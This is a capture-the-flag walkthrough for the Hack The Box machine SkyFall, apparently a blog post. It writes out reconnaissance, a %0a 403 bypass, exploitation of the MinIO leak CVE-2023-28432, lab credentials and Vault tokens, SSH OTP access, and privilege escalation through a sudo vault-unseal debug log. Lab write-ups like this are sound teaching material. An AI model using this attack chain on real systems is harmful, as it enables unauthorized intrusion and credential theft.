Introduction
In this post, Let’s see how to CTF SkyFall from HTB, If you have any doubts comment down below 👇🏾
Hacking Phases in SkyFall
- Add IP to /etc/hosts
- Nmap Scan
- Site Enumeration
- Credential Harvest
- User Enumeration
- Privilege Escalation
Let’s Begin
Hey you ❤️ Please check out my other posts, You will be amazed and support me by following on youtube.
Let’s Hack Skyfall HTB 😌
https://www.youtube.com/@techyrick-/videos
Add IP to /etc/hosts
Add domain skyfall.htb to /etc/hosts
sudo nano /etc/hosts
Nmap Scan
Let’s do a Nmap Scan
nmap -A 10.10.11.254 -Pn
Let’s also do a subdomain enumeration, We can use Gobuster to discover subdomains.
gobuster dns -d skyfall.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 20
We discovered a subdomain, demo.skyfall.htb, which appears to be listed in the host file.
Site Enumeration
We can use the default credentials to log in.
guest:guest
Credential Harvest
On the left panel, we can see Min10 Metrics. When we attempt to access Min10 Metrics, it shows a 403 forbidden error. So, I bypassed it by adding %0a at the end of the URL.
http://demo.skyfall.htb/metrics%0a
We can see a URL at the endpoint.
http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster
Please add “prd23-s3-backend.skyfall.htb” to the /etc/hosts file. We’ve identified a vulnerability, CVE-2023–28432, and there’s a GitHub Proof of Concept (PoC) available.
We need to test this “Information Leak Vulnerability” regarding Minio. With this vulnerability, it’s possible to discover some credentials related to Minio. Use BurpSuite to intercept and retrieve the credentials.
"MINIO_ROOT_USER": "5GrE1B2YGGyZzNHZaIww" "MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0"
To install the Min10 client, now let’s execute the Min10 client.
./mc alias set myminio http://prd23-s3-backend.skyfall.htb/ 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
Let’s check for files.
./mc ls -r --versions myminio
Here we can find some backup files with the .gz extension. I attempted to download those files and decompress them.
./mc cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 myminio/askyy/home_backup.tar.gz .
ls -la
tar -xzvf home_backup.tar.gz
User Enumeration
Upon further enumeration of files with the .gz extension, we found these.
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb/" export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
To install Vault, add “prd23-vault-internal.skyfall.htb” to the /etc/hosts file. Then, run the command as follows.
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/" export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
./vault login
Firstly, import the configuration file into Vault, and then verify that the token value is valid.
To obtain user access, execute the following code. An OTP will be generated, and use the OTP as the password for the SSH connection.
./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254
Privilege Escalation
sudo -l
I executed root/vault/vault-unseal -c /etc/vault-unseal.yaml
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -v
We observed that a master token is being generated. We need to copy that to a log file. Therefore, we need to create a .log file in the current directory.
touch debug.log
chown askyy:askyy debug.log ls -la
Grant the user’s claim permissions to access debug.log.
Now the debug.log file can be written to by askyy. Please execute the following command.
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d -v /home/askyy/debug.log
The master token has been written to the debug.log file. Please read the debug.log file.
cat debug.log
Now we are successfully connected to Vault. We can attempt to log in as the user askyy using the same method as before.
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/" export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"
To gain root access, execute the following code. An OTP will be generated, and use the OTP as the password for the SSH connection.
./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254
Conclusion
In conclusion, the Skyfall box presented a series of challenges and vulnerabilities to navigate through, including subdomain discovery, exploitation of CVEs, and leveraging tools like Vault for access management.
Through enumeration, exploitation, and careful manipulation of configurations, various levels of access were achieved, showcasing the importance of thorough reconnaissance and exploitation techniques in penetration testing scenarios.